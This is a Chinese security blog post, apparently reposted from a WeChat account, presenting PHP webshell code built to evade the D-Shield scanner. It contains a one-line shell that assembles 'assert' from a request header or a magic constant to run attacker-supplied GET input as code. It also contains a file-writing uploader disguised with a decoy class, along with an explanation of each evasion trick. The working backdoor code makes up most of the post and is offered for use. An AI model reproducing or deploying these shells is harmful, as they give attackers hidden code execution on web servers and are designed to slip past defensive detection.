过D盾一句话+上传小马

admin 2023年3月6日20:15:23评论89 views字数 1256阅读4分11秒阅读模式

 前言


webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

 PHP一句话马


 1.代码

<?php     class test&#123;        function assert()&#123;            // 方式一            //$a = getenv('HTTP_E');            //return $a;            // 方式二            $a = substr(__FUNCTION__,0,6);            return $a;        &#125;                function foo(&$var)        &#123;            $var = $_GET['a'];            return $var;        &#125;    &#125;    $a = new test();    $c = $a->assert();    $d = "";    $d = $a->foo($d);    $c($d);?>


 2.免杀思路


 方式一

getenv 能够获取 phpinfo 中 ApacheEnvironment 和 Environment 中的值。
请求头中的变量会以 HTTP_变量名 的形式存在 Apache Environment 中。
因此我们在请求头中带上 E: assert,我们可以通过 getenv(‘HTTP_E’) 来获取其值。

 免杀效果

过D盾一句话+上传小马
方式一

 方式二

一般webshell是通过文件内容来查杀,因此我们可以利用一切非文件内容的可控值来构造webshell, 这里使用魔术常量获取到函数名,作为函数值返回。

 免杀效果


过D盾一句话+上传小马

方式二

 PHP上传小马


 1. 代码

<?php header("content-type:text/html;charset=utf-8"); class test &#123; function test() &#123; return '干扰类'; &#125; &#125; @$rode = $_POST['rode']; @$content = $_POST['content']; if(@file_put_contents($rode,$content)) &#123; echo '上传成功'; &#125;?><html> <body> <form action='' method='POST'> 小马路径<?php echo ':' . __FILE__;?><br> 上传路径:<input type='text' name='rode'/><br> 内容:<textarea name='content'></textarea><br> <input type='submit' value='write'/> </form> </body></html>

 2. 免杀思路

通过定义类的方式,干扰D盾的判断,从而绕过。

 免杀效果


过D盾一句话+上传小马

PHP上传小马


作者:Wangfly,文章链接: https://www.hui-blog.cool/posts/836b.html

扫码进交流群

过D盾一句话+上传小马


原文始发于微信公众号(菜鸟学安全):过D盾一句话+上传小马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月6日20:15:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   过D盾一句话+上传小马http://cn-sec.com/archives/1253289.html

发表评论

匿名网友 填写信息